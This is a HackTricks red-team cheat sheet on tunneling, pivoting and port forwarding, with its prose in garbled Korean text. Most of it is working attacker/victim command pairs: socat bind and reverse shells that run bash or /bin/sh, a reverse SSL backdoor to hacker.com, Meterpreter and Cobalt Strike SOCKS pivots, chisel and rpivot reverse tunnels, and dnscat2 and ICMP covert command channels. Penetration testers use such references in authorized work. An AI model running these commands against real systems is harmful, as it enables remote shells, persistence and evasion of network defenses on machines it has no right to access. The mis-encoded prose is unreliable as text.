# Tunneling and Port Forwarding
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Nmap tip
{% hint style="warning" %}
**ICMP** ๋ฐ **SYN** ์ค์บ์ ์์ผ ํ๋ก์๋ฅผ ํตํด ํฐ๋๋งํ ์ ์์ผ๋ฏ๋ก **ํ ํ์์ ๋นํ์ฑํ**(`-Pn`)ํ๊ณ **TCP ์ค์บ**(`-sT`)์ ์ง์ ํด์ผ ํฉ๋๋ค.
{% endhint %}
## **Bash**
**Host -> Jump -> InternalA -> InternalB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
```
## **SSH**
SSH ๊ทธ๋ํฝ ์ฐ๊ฒฐ (X)
```bash
ssh -Y -C @ #-Y is less secure but faster than -X
```
### Local Port2Port
SSH ์๋ฒ์์ ์ ํฌํธ ์ด๊ธฐ --> ๋ค๋ฅธ ํฌํธ
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### Port2Port
๋ก์ปฌ ํฌํธ --> ์์๋ ํธ์คํธ (SSH) --> ์ 3\_๋ฐ์ค:ํฌํธ
```bash
ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631::631 -N -f -l
```
### Port2hostnet (proxychains)
๋ก์ปฌ ํฌํธ --> ์์๋ ํธ์คํธ (SSH) --> ์ด๋๋ ์ง
```bash
ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy)
```
### Reverse Port Forwarding
๋ด๋ถ ํธ์คํธ์์ DMZ๋ฅผ ํตํด ๊ทํ์ ํธ์คํธ๋ก ๋ฆฌ๋ฒ์ค ์
ธ์ ์ป๋ ๋ฐ ์ ์ฉํฉ๋๋ค:
```bash
ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
### VPN-Tunnel
๋ ์ฅ์น ๋ชจ๋์์ **๋ฃจํธ ๊ถํ์ด ํ์**ํฉ๋๋ค(์ ์ธํฐํ์ด์ค๋ฅผ ์์ฑํ ๊ฒ์ด๊ธฐ ๋๋ฌธ์
๋๋ค) ๊ทธ๋ฆฌ๊ณ sshd ์ค์ ์์ ๋ฃจํธ ๋ก๊ทธ์ธ์ ํ์ฉํด์ผ ํฉ๋๋ค:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
์๋ฒ ์ธก์์ ํฌ์๋ฉ ํ์ฑํ
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
ํด๋ผ์ด์ธํธ ์ธก์ ์ ๊ฒฝ๋ก ์ค์
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
ํธ์คํธ๋ฅผ ํตํด **์๋ธ๋คํธ์ํฌ**๋ก ๋ชจ๋ **ํธ๋ํฝ**์ **ssh**๋ฅผ ํตํด **ํฐ๋๋ง**ํ ์ ์์ต๋๋ค.\
์๋ฅผ ๋ค์ด, 10.10.10.0/24๋ก ๊ฐ๋ ๋ชจ๋ ํธ๋ํฝ์ ํฌ์๋ฉํฉ๋๋ค.
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
๊ฐ์ธ ํค๋ก ์ฐ๊ฒฐํ๊ธฐ
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
## Meterpreter
### Port2Port
๋ก์ปฌ ํฌํธ --> ์์๋ ํธ์คํธ (ํ์ฑ ์ธ์
) --> ์ 3\_๋ฐ์ค:ํฌํธ
```bash
# Inside a meterpreter session
portfwd add -l -p -r
```
### SOCKS
```bash
background# meterpreter session
route add # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
๋ค๋ฅธ ๋ฐฉ๋ฒ:
```bash
background #meterpreter session
use post/multi/manage/autoroute
set SESSION
set SUBNET #Ex: set SUBNET 10.1.13.0
set NETMASK
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### SOCKS ํ๋ก์
๋ชจ๋ ์ธํฐํ์ด์ค์์ ์์ ๋๊ธฐํ๋ ํ ์๋ฒ์์ ํฌํธ๋ฅผ ์ด์ด **๋น์ฝ์ ํตํด ํธ๋ํฝ์ ๋ผ์ฐํ
**ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
### rPort2Port
{% hint style="warning" %}
์ด ๊ฒฝ์ฐ, **ํฌํธ๋ ๋น์ฝ ํธ์คํธ์์ ์ด๋ฆฝ๋๋ค**, ํ ์๋ฒ๊ฐ ์๋๋ผ ํ ์๋ฒ๋ก ํธ๋ํฝ์ด ์ ์ก๋๊ณ , ๊ทธ๊ณณ์์ ์ง์ ๋ ํธ์คํธ:ํฌํธ๋ก ์ ์ก๋ฉ๋๋ค.
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
To note:
- Beacon์ ๋ฆฌ๋ฒ์ค ํฌํธ ํฌ์๋๋ **๊ฐ๋ณ ๋จธ์ ๊ฐ์ ์ค๊ณ๊ฐ ์๋๋ผ Team Server๋ก ํธ๋ํฝ์ ํฐ๋๋งํ๊ธฐ ์ํด ์ค๊ณ๋์์ต๋๋ค**.
- ํธ๋ํฝ์ **Beacon์ C2 ํธ๋ํฝ ๋ด์์ ํฐ๋๋ง๋ฉ๋๋ค**, P2P ๋งํฌ๋ฅผ ํฌํจํ์ฌ.
- **๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ์ง ์์ต๋๋ค** ๊ณ ํฌํธ์์ ๋ฆฌ๋ฒ์ค ํฌํธ ํฌ์๋๋ฅผ ์์ฑํ๋ ๋ฐ.
### rPort2Port local
{% hint style="warning" %}
์ด ๊ฒฝ์ฐ, **ํฌํธ๋ ๋น์ฝ ํธ์คํธ์์ ์ด๋ฆฌ๋ฉฐ**, Team Server๊ฐ ์๋๋ผ **ํธ๋ํฝ์ Cobalt Strike ํด๋ผ์ด์ธํธ๋ก ์ ์ก๋ฉ๋๋ค** (Team Server๊ฐ ์๋๋ผ) ๊ทธ๋ฆฌ๊ณ ๊ฑฐ๊ธฐ์ ์ง์ ๋ ํธ์คํธ:ํฌํธ๋ก ์ ์ก๋ฉ๋๋ค.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
## reGeorg
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
์น ํ์ผ ํฐ๋์ ์
๋ก๋ํด์ผ ํฉ๋๋ค: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)์ ๋ฆด๋ฆฌ์ค ํ์ด์ง์์ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค.\
ํด๋ผ์ด์ธํธ์ ์๋ฒ์ **๊ฐ์ ๋ฒ์ **์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
### socks
```bash
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### ํฌํธ ํฌ์๋ฉ
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
```
## Rpivot
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
์ญ๋ฐฉํฅ ํฐ๋. ํฐ๋์ ํผํด์์์ ์์๋ฉ๋๋ค.\
127.0.0.1:1080์์ socks4 ํ๋ก์๊ฐ ์์ฑ๋ฉ๋๋ค.
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip --server-port 9999
```
**NTLM ํ๋ก์**๋ฅผ ํตํ ํผ๋ฒํ
```bash
victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### ๋ฐ์ธ๋ ์
ธ
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337
```
### ๋ฆฌ๋ฒ์ค ์
ธ
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
```bash
socat TCP4-LISTEN:,fork TCP4:: &
```
### Port2Port through socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### SSL Socat์ ํตํ Meterpreter
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
๋น์ ์ ํผํด์์ ์ฝ์์์ ๋ง์ง๋ง ์ค ๋์ ์ด ์ค์ ์คํํ์ฌ **๋น์ธ์ฆ ํ๋ก์**๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
**/bin/sh ์ฝ์**
ํด๋ผ์ด์ธํธ์ ์๋ฒ ์์ชฝ์์ ์ธ์ฆ์๋ฅผ ์์ฑํฉ๋๋ค.
```bash
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Remote Port2Port
๋ก์ปฌ SSH ํฌํธ(22)๋ฅผ ๊ณต๊ฒฉ์ ํธ์คํธ์ 443 ํฌํธ์ ์ฐ๊ฒฐํฉ๋๋ค.
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
## Plink.exe
์ฝ์ PuTTY ๋ฒ์ ๊ณผ ๋น์ทํฉ๋๋ค (์ต์
์ ssh ํด๋ผ์ด์ธํธ์ ๋งค์ฐ ์ ์ฌํฉ๋๋ค).
์ด ๋ฐ์ด๋๋ฆฌ๋ ํผํด์์์ ์คํ๋ ๊ฒ์ด๋ฉฐ ssh ํด๋ผ์ด์ธํธ์ด๋ฏ๋ก, ์ญ ์ฐ๊ฒฐ์ ์ํด ssh ์๋น์ค์ ํฌํธ๋ฅผ ์ด์ด์ผ ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, ๋ก์ปฌ์์ ์ ๊ทผ ๊ฐ๋ฅํ ํฌํธ๋ง ์ฐ๋ฆฌ ๋จธ์ ์ ํฌํธ๋ก ํฌ์๋ฉํ๋ ค๋ฉด:
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## Windows netsh
### Port2Port
๋ก์ปฌ ๊ด๋ฆฌ์๊ฐ ๋์ด์ผ ํฉ๋๋ค (๋ชจ๋ ํฌํธ์ ๋ํด)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
**์์คํ
์ ๋ํ RDP ์ก์ธ์ค๊ฐ ํ์ํฉ๋๋ค.**\
๋ค์ด๋ก๋:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - ์ด ๋๊ตฌ๋ Windows์ ์๊ฒฉ ๋ฐ์คํฌํฑ ์๋น์ค ๊ธฐ๋ฅ์์ `Dynamic Virtual Channels` (`DVC`)๋ฅผ ์ฌ์ฉํฉ๋๋ค. DVC๋ **RDP ์ฐ๊ฒฐ์ ํตํ ํจํท ํฐ๋๋ง**์ ๋ด๋นํฉ๋๋ค.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
ํด๋ผ์ด์ธํธ ์ปดํจํฐ์์ **`SocksOverRDP-Plugin.dll`**์ ๋ค์๊ณผ ๊ฐ์ด ๋ก๋ํฉ๋๋ค:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
์ด์ **`mstsc.exe`**๋ฅผ ์ฌ์ฉํ์ฌ **RDP**๋ฅผ ํตํด **ํฌ์์**์ **์ฐ๊ฒฐ**ํ ์ ์์ผ๋ฉฐ, **SocksOverRDP ํ๋ฌ๊ทธ์ธ์ด ํ์ฑํ๋์๋ค๋** **ํ๋กฌํํธ**๋ฅผ ๋ฐ์ ๊ฒ์
๋๋ค. ๊ทธ๋ฆฌ๊ณ **127.0.0.1:1080**์์ **์์ **ํ ๊ฒ์
๋๋ค.
**RDP**๋ฅผ ํตํด **์ฐ๊ฒฐ**ํ๊ณ ํฌ์์ ๋จธ์ ์ `SocksOverRDP-Server.exe` ๋ฐ์ด๋๋ฆฌ๋ฅผ ์
๋ก๋ ๋ฐ ์คํํฉ๋๋ค:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
์ด์ ๊ณต๊ฒฉ์ ๋จธ์ ์์ ํฌํธ 1080์ด ์์ ๋๊ธฐ ์ค์ธ์ง ํ์ธํ์ญ์์ค:
```
netstat -antb | findstr 1080
```
์ด์ [**Proxifier**](https://www.proxifier.com/) **๋ฅผ ์ฌ์ฉํ์ฌ ํด๋น ํฌํธ๋ฅผ ํตํด ํธ๋ํฝ์ ํ๋ก์ํ ์ ์์ต๋๋ค.**
## Windows GUI ์ฑ ํ๋ก์ํ
[**Proxifier**](https://www.proxifier.com/)๋ฅผ ์ฌ์ฉํ์ฌ Windows GUI ์ฑ์ด ํ๋ก์๋ฅผ ํตํด ํ์ํ๋๋ก ํ ์ ์์ต๋๋ค.\
**Profile -> Proxy Servers**์์ SOCKS ์๋ฒ์ IP์ ํฌํธ๋ฅผ ์ถ๊ฐํฉ๋๋ค.\
**Profile -> Proxification Rules**์์ ํ๋ก์ํํ ํ๋ก๊ทธ๋จ์ ์ด๋ฆ๊ณผ ํ๋ก์ํํ IP์ ๋ํ ์ฐ๊ฒฐ์ ์ถ๊ฐํฉ๋๋ค.
## NTLM ํ๋ก์ ์ฐํ
์์ ์ธ๊ธํ ๋๊ตฌ: **Rpivot**\
**OpenVPN**๋ ์ด๋ฅผ ์ฐํํ ์ ์์ผ๋ฉฐ, ๊ตฌ์ฑ ํ์ผ์์ ์ด๋ฌํ ์ต์
์ ์ค์ ํฉ๋๋ค:
```bash
http-proxy 8080 ntlm
```
### Cntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
ํ๋ก์์ ๋ํด ์ธ์ฆํ๊ณ ์ง์ ํ ์ธ๋ถ ์๋น์ค๋ก ํฌํธ๋ฅผ ๋ก์ปฌ์์ ๋ฐ์ธ๋ฉํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ด ํฌํธ๋ฅผ ํตํด ์ํ๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.\
์๋ฅผ ๋ค์ด ํฌํธ 443์ ํฌ์๋ฉํฉ๋๋ค.
```
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222::443
```
์ด์ , ์๋ฅผ ๋ค์ด ํผํด์์ **SSH** ์๋น์ค๊ฐ ํฌํธ 443์์ ์์ ๋๊ธฐํ๋๋ก ์ค์ ํ๋ฉด, ๊ณต๊ฒฉ์๋ ํฌํธ 2222๋ฅผ ํตํด ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.\
๋ํ **meterpreter**๋ฅผ ์ฌ์ฉํ์ฌ localhost:443์ ์ฐ๊ฒฐํ๊ณ ๊ณต๊ฒฉ์๊ฐ ํฌํธ 2222์์ ์์ ๋๊ธฐํ ์ ์์ต๋๋ค.
## YARP
Microsoft์์ ๋ง๋ ๋ฆฌ๋ฒ์ค ํ๋ก์์
๋๋ค. ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
๋ ์์คํ
๋ชจ๋์์ ๋ฃจํธ ๊ถํ์ด ํ์ํ์ฌ tun ์ด๋ํฐ๋ฅผ ์์ฑํ๊ณ DNS ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ ํฐ๋๋ง์ ์ํํฉ๋๋ค.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
ํฐ๋์ ๋งค์ฐ ๋๋ฆด ๊ฒ์
๋๋ค. ์ด ํฐ๋์ ํตํด ์์ถ๋ SSH ์ฐ๊ฒฐ์ ์์ฑํ ์ ์์ต๋๋ค:
```
ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
[**์ฌ๊ธฐ์์ ๋ค์ด๋ก๋ํ์ธ์**](https://github.com/iagox86/dnscat2)**.**
DNS๋ฅผ ํตํด C\&C ์ฑ๋์ ์ค์ ํฉ๋๋ค. ๋ฃจํธ ๊ถํ์ด ํ์ํ์ง ์์ต๋๋ค.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **PowerShell์์**
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)๋ฅผ ์ฌ์ฉํ์ฌ PowerShell์์ dnscat2 ํด๋ผ์ด์ธํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **dnscat์ ์ด์ฉํ ํฌํธ ํฌ์๋ฉ**
```bash
session -i
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### ํ๋ก์์ฒด์ธ DNS ๋ณ๊ฒฝ
Proxychains๋ `gethostbyname` libc ํธ์ถ์ ๊ฐ๋ก์ฑ๊ณ TCP DNS ์์ฒญ์ SOCKS ํ๋ก์๋ฅผ ํตํด ํฐ๋๋งํฉ๋๋ค. **๊ธฐ๋ณธ์ ์ผ๋ก** proxychains๊ฐ ์ฌ์ฉํ๋ **DNS** ์๋ฒ๋ **4.2.2.2**์
๋๋ค (ํ๋์ฝ๋ฉ๋จ). ์ด๋ฅผ ๋ณ๊ฒฝํ๋ ค๋ฉด ํ์ผ์ ํธ์งํ์ญ์์ค: _/usr/lib/proxychains3/proxyresolv_ ๋ฐ IP๋ฅผ ๋ณ๊ฒฝํ์ญ์์ค. **Windows ํ๊ฒฝ**์ ์๋ ๊ฒฝ์ฐ **๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ**์ IP๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค.
## Go์์์ ํฐ๋
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP ํฐ๋๋ง
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
๋ ์์คํ
๋ชจ๋์์ ๋ฃจํธ ๊ถํ์ด ํ์ํ๋ฉฐ, ICMP ์์ฝ ์์ฒญ์ ์ฌ์ฉํ์ฌ TUN ์ด๋ํฐ๋ฅผ ์์ฑํ๊ณ ๋ฐ์ดํฐ ๊ฐ์ ํฐ๋๋งํฉ๋๋ค.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
### ptunnel-ng
[**์ฌ๊ธฐ์์ ๋ค์ด๋ก๋**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p -l -r -R
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/)์ ํ ์ค์ ๋ช
๋ น์ด๋ก ์๋ฃจ์
์ ์ธํฐ๋ท์ ๋
ธ์ถํ๋ ๋๊ตฌ์
๋๋ค.**
*๋
ธ์ถ URI๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:* **UID.ngrok.io**
### ์ค์น
- ๊ณ์ ์์ฑ: https://ngrok.com/signup
- ํด๋ผ์ด์ธํธ ๋ค์ด๋ก๋:
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
#ย Init configuration, with your token
./ngrok config edit
```
### ๊ธฐ๋ณธ ์ฌ์ฉ๋ฒ
**๋ฌธ์:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*ํ์ํ ๊ฒฝ์ฐ ์ธ์ฆ ๋ฐ TLS๋ฅผ ์ถ๊ฐํ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค.*
#### TCP ํฐ๋๋ง
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### HTTP๋ก ํ์ผ ๋
ธ์ถํ๊ธฐ
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### HTTP ํธ์ถ ์ค๋ํ
*XSS, SSRF, SSTI ๋ฑ์ ์ ์ฉํจ...*
stdout์์ ์ง์ ๋๋ HTTP ์ธํฐํ์ด์ค [http://127.0.0.1:4040](http://127.0.0.1:4000)์์.
#### ๋ด๋ถ HTTP ์๋น์ค ํฐ๋๋ง
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
#ย With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
#### ngrok.yaml ๊ฐ๋จํ ๊ตฌ์ฑ ์์
3๊ฐ์ ํฐ๋์ ์ฝ๋๋ค:
- 2 TCP
- 1 HTTP, /tmp/httpbin/์์ ์ ์ ํ์ผ ๋
ธ์ถ
```yaml
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## ๋ค๋ฅธ ๋๊ตฌ ํ์ธํ๊ธฐ
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.**
{% endhint %}